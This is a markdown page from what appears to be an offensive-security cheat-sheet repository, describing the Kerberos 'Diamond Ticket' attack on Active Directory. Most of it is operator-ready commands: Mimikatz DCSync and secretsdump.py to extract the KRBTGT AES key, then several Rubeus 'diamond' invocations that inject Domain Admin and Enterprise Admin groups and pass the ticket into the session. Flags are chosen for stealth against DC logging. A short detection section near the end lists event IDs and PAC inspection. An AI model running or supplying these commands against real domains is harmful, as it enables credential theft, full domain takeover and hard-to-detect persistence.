repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-13-diamond-ticket-attack.mdMarkdown182 lines7.9 KiBsource raw download

title: "Attack #13 โ€” Diamond Ticket Attack" description: "The Diamond Ticket is an evolution of the Golden Ticket that was developed to bypass modern detection mechanisms. While a Golden Ticket forges a TGTโ€ฆ" category: active-directory subcategory: "Kerberos & Delegation" tags: ["active-directory", "adcs", "credential-access", "kerberos", "privilege-escalation"] tools: ["Impacket", "Mimikatz", "Rubeus", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Two/๐ŸŸ  Attack #13 โ€” Diamond Ticket Attack.md"#

๐ŸŸ  Attack #13 โ€” Diamond Ticket Attack#


๐Ÿ“– How It Works#

The Diamond Ticket is an evolution of the Golden Ticket that was developed to bypass modern detection mechanisms. While a Golden Ticket forges a TGT entirely from scratch (meaning there is no corresponding AS-REQ in the DC logs, which is a primary detection indicator), a Diamond Ticket takes a legitimate TGT obtained through a real AS-REQ/AS-REP exchange, decrypts it using the KRBTGT AES key, modifies the PAC (Privilege Attribute Certificate) to inject elevated group memberships, then re-encrypts and re-signs it. Because the ticket originated from a real authentication event, it has a valid audit trail on the DC โ€” making it significantly harder to detect.

Diamond Ticket vs Golden Ticket#

Aspect Golden Ticket Diamond Ticket
TGT source Forged entirely offline Real TGT from legitimate AS-REQ
AS-REQ event โŒ Missing (primary IOC) โœ… Present โ€” blends with normal traffic
PAC Entirely fabricated Modified from legitimate PAC
KRBTGT key needed Yes (NT hash or AES) Yes (AES256 required for decryption)
Detection difficulty Moderate โ€” missing AS-REQ Hard โ€” requires PAC anomaly detection
OPSEC level Medium High
Tool support Mimikatz, Rubeus, ticketer.py Rubeus (diamond command)

The Full Attack Flow#

1. Obtain KRBTGT AES256 key (via DCSync)
2. Request a legitimate TGT for your controlled user (real AS-REQ)
3. Rubeus decrypts the TGT using the KRBTGT AES key
4. Modify the PAC โ€” inject DA/EA group memberships (RID 512, 519, etc.)
5. Re-encrypt and re-sign the TGT with the KRBTGT key
6. Inject the modified ticket into your session
7. Access any resource as DA โ€” with a clean audit trail on the DC

โš™๏ธ Prerequisites#

Requirement Detail
KRBTGT AES256 key Required for decryption/re-encryption โ€” NT hash alone is insufficient
Domain Admin or DCSync rights To extract the KRBTGT key
Valid domain user account Needed to request the initial legitimate TGT
Domain SID For PAC modification

๐Ÿ› ๏ธ Tools#

Tool Platform Notes
Rubeus Windows diamond subcommand โ€” primary tool for Diamond Tickets
Mimikatz Windows DCSync to extract KRBTGT AES key (prerequisite step)
Impacket โ€” secretsdump.py Linux Extract KRBTGT AES key from Linux
Impacket โ€” ticketer.py Linux Can be used with modifications for PAC manipulation

๐Ÿ’ป Full Commands#

๐Ÿ”ต Step 0 โ€” Extract KRBTGT AES256 Key#

# โ”€โ”€ Mimikatz DCSync for KRBTGT AES key โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
privilege::debug
lsadump::dcsync /domain:corp.local /user:krbtgt

# Look for: aes256_hmac: b65fb27c8e0d7c5f48b16c10b4...
# โ”€โ”€ Linux โ€” secretsdump โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local -just-dc-user krbtgt
# Extract the aes256-cts-hmac-sha1-96 key from the kerberos section

๐Ÿ”ด Rubeus โ€” Forge Diamond Ticket#

# โ”€โ”€ Standard Diamond Ticket โ€” impersonate DA โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
.\Rubeus.exe diamond \
  /krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  /user:low_user \
  /password:Password1 \
  /enctype:aes \
  /domain:corp.local \
  /dc:DC01.corp.local \
  /ticketuser:Administrator \
  /ticketuserid:500 \
  /groups:512 \
  /ptt

# Flags explained:
# /krbkey     = KRBTGT AES256 key
# /user       = YOUR low-priv user to request initial legitimate TGT
# /password   = YOUR password for the initial TGT request
# /enctype    = Force AES encryption (stealthy)
# /ticketuser = The user identity to embed in the modified PAC
# /ticketuserid = RID of the target user (500 = Administrator)
# /groups     = Group RIDs to inject (512=DA, 519=EA, 518=Schema Admins)
# /ptt        = Inject into current session

# โ”€โ”€ Diamond Ticket with multiple privileged groups โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
.\Rubeus.exe diamond \
  /krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  /user:low_user \
  /password:Password1 \
  /enctype:aes \
  /domain:corp.local \
  /dc:DC01.corp.local \
  /ticketuser:Administrator \
  /ticketuserid:500 \
  /groups:512,519,518,520 \
  /ptt

# โ”€โ”€ Diamond Ticket with LDAP + OPSEC flags โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
.\Rubeus.exe diamond \
  /krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  /user:low_user \
  /password:Password1 \
  /enctype:aes \
  /domain:corp.local \
  /dc:DC01.corp.local \
  /ticketuser:Administrator \
  /ticketuserid:500 \
  /groups:512 \
  /ldap /nowrap /ptt

# /ldap = Query LDAP for accurate user/group info for the PAC (most OPSEC)

# โ”€โ”€ Verify โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
klist
dir \\DC01.corp.local\C$

๐ŸŽฏ OPSEC Tips#


๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4768 Security Log (DC) TGT request โ€” present (unlike Golden Ticket), but subsequent access may show elevated privileges
4769 Security Log (DC) TGS requests with privileges that don't match the user's actual group memberships
4624 Security Log Logon with DA-level privileges from a user that should be low-privilege

Primary detection: Diamond Tickets require PAC-level inspection โ€” comparing the group memberships claimed in the TGT's PAC against the user's actual AD group memberships. If a user's TGT claims membership in Domain Admins but their AD object shows no such membership, it's a forged or modified ticket. Microsoft Defender for Identity can perform this correlation.


๐Ÿ”— Attack Chain Context#

[Diamond Ticket] โ”€โ”€โ†’ Stealthy Domain Admin Persistence
         โ”‚
         โ”œโ”€โ”€โ†’ ๐ŸŽซ Stealthier Golden Ticket โ€” has real AS-REQ in DC logs
         โ”œโ”€โ”€โ†’ ๐Ÿฉธ Use as DA โ†’ DCSync โ†’ extract all hashes
         โ”œโ”€โ”€โ†’ ๐Ÿ”’ Survives password changes (until KRBTGT reset ร— 2)
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Chain: DCSync (get KRBTGT key) โ†’ Diamond Ticket โ†’ persist
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: KRBTGT password reset ร— 2, PAC inspection, MDI

โœ… Attack #13 โ€” Diamond Ticket complete.